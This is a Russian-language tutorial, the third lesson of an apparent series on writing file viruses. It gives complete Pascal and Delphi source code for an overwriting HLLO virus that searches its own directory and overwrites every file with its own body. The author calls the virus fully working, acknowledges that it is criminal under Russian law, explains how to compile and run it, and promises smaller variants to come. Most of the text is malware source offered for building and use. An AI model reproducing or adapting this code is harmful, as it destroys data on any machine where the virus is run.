HLLO на Delphi и Pascal (Урок 3). Наш первый вирус будет весьма глуп и прост, но достаточно показателен, исходные тексты в этой статье я буду приводить как на Delphi, так и на pascal. Так будет и, в следующих статьях о файловых вирусах на ЯВУ, кроме тех случаев, когда какой-то приём невозможно или трудно реализовать на одном из языков. О работе виря. Вирь при запуске будет искать все файлы в своём каталоге и перезаписывать их своим кодом.. В общем-то всё элементарно.. Так ведь? Переходим к реализации. Процедура заражения файлов на Pascal будет выглядеть примерно так: const VirSize = 6666;{Эта глобальная константа определяет размер вируса в чистом виде}
Procedure Infect(path:string);{Путь к заражаемому файлу} var FromF : file;{Файловая переменная для файла источника} ToF: file;{ Файловая переменная для файла для заражаемого файла} NumRead : Word; Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз} begin Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))} Reset(FromF, 1);{Открываем себя} Assign(ToF, path); {Ассоциируем переменную с путём к жертве} Rewrite(ToF, 1);{Открываем с перезаписью жертву} BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер} BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл} Close(FromF);{Закрываем себя} Close(ToF);{Закрываем жертву} end;
Как видите всё просто как два пальца об асфальт. Теперь, то же самое только на Delphi. const VirSize = 16384;
Procedure Infect(path:string); var FromF : file; ToF: file; NumRead : integer; Buf: array[1..VirSize] of Char; //Буфер FM:word; //Переменная для сохранения FileMode begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе Reset(FromF, 1);//Открываем себя BlockRead(FromF, Buf, SizeOf(Buf), NumRead); CloseFile(FromF);//Закрываем себя FileMode:=2;//Режим работы с файлом - только запись AssignFile(ToF, path);//Ассоциируем с путём к файлу Rewrite(ToF, 1);//Открытие с перезаписью BlockWrite(ToF, Buf, NumRead);//Пишем буфер CloseFile(ToF); //Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
Как видите, разница, в основном, только в небольшом отличие названий и необходимости работы с режимом обращения к файлу. Т.е. сначала открываем - только для чтения, а затем – только для записи.
Поиск дело нехитрое, т.б. мы его ведём только в своём каталоге, не вижу смысла разбирать его отдельно и провожу код HLLO вируса на Pascal уже в полностью готовом состоянии и с правильно подобранным параметром VirSize. Исходник рассчитан на компиляцию в Turbo Pascal 7.0 вес вируса составил без упаковки: 3408 байт, будем считать это нашим первым учебным вирусом:
uses dos; const VirSize = 3408;{Эта глобальная константа определяет размер вируса в чистом виде}
Procedure Infect(path:string);{Путь к заражаемому файлу} var FromF : file;{Файловая переменная для файла источника} ToF: file;{ Файловая переменная для файла для заражаемого файла} NumRead : Word; Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз} begin Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))} Reset(FromF, 1);{Открываем себя} Assign(ToF, path); {Ассоциируем переменную с путём к жертве} Rewrite(ToF, 1);{Открываем с перезаписью жертву} BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер} BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл} Close(FromF);{Закрываем себя} Close(ToF);{Закрываем жертву} end;
var sr:searchrec;{Специальный тип для поиска файлов} d:dirstr; {специальный тип для возвращения пути к папке файла} n:namestr; { специальный тип для возвращения имени файла } e:extstr; { специальный тип для возвращения расширения файла } begin fsplit(paramstr(0),d,n,e);{раскладываем путь к себе на путь к папке, имя и расширение} findfirst('*.*',39,sr);{ищем файлы с любым именем, атрибутом и расширением} while doserror=0 do{Повторяем до появления ошибки, в нашем случае – больше нет файлов} begin if sr.name<>n+e then infect(sr.name);{если найденный файл не сам вирус, то заражаем, это нужно потому что программа DOS может, за нефиг делать, и себя перезаписать в запущенном состоянии и следующие найденные файлы вирус просто обнулит} findnext(sr);{Ищем следующий файл} end end.{Конец}
Вот и весь вирус. В этих трёх десятках строчек находится вирус, вполне рабочий и подпадающий под 273 ст. УК РФ и под основные классификации угроз . Ну как и обещал, сейчас приведу исходник этого же гада, только на Delphi: program hllo; uses sysutils; const VirSize = 42496;
Procedure Infect(path:string); var FromF : file; ToF: file; NumRead : integer; Buf: array[1..VirSize] of Char; //Буфер FM:word; //Переменная для сохранения FileMode begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе Reset(FromF, 1);//Открываем себя BlockRead(FromF, Buf, SizeOf(Buf), NumRead); CloseFile(FromF);//Закрываем себя FileMode:=2;//Режим работы с файлом - только запись AssignFile(ToF, path);//Ассоциируем с путём к файлу Rewrite(ToF, 1);//Открытие с перезаписью BlockWrite(ToF, Buf, NumRead);//Пишем буфер CloseFile(ToF); //Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
var SR : TSearchRec;{Специальный тип для поиска файлов} FR : INTEGER; begin FR:=FindFirst('*.*',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением} while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов} begin Infect(SR.Name);{Заражаем} FR:=FindNext(SR);{Ищем дальше} end; end.
Я думаю что аналогия с паскальным вирусов на лицо)) Хочу отметить, что если кому-то интересно проверить вирусы, для этого достаточно их откомпилировать и разместить в папку с любыми другими файлами, а после этого запустить вирь и убедиться что все файлы перезаписались его кодом. Так же обратите внимание на достаточно немалый размер вируса на Delphi – 42496 байт, не маленький такой вирёк, но это не так страшно, ведь после упаковки размер становится значительно меньше, но даже не в этом главная фишка. Дело в том, что на Delphi можно написать этот же вирус размером меньше чем на паскале (примерно 1,5-2кб) – при чем без упаковки.. Для этого нам придётся применить WinApi и несколько приёмов разработки, о которых вы узнаете уже в следующей статье рубрики.. Возможна та статья изменит ваше мнение о Delphi, как о громоздком языке ламеров;) Надеюсь кого-то эта статья заинтересовала, жду отзывов.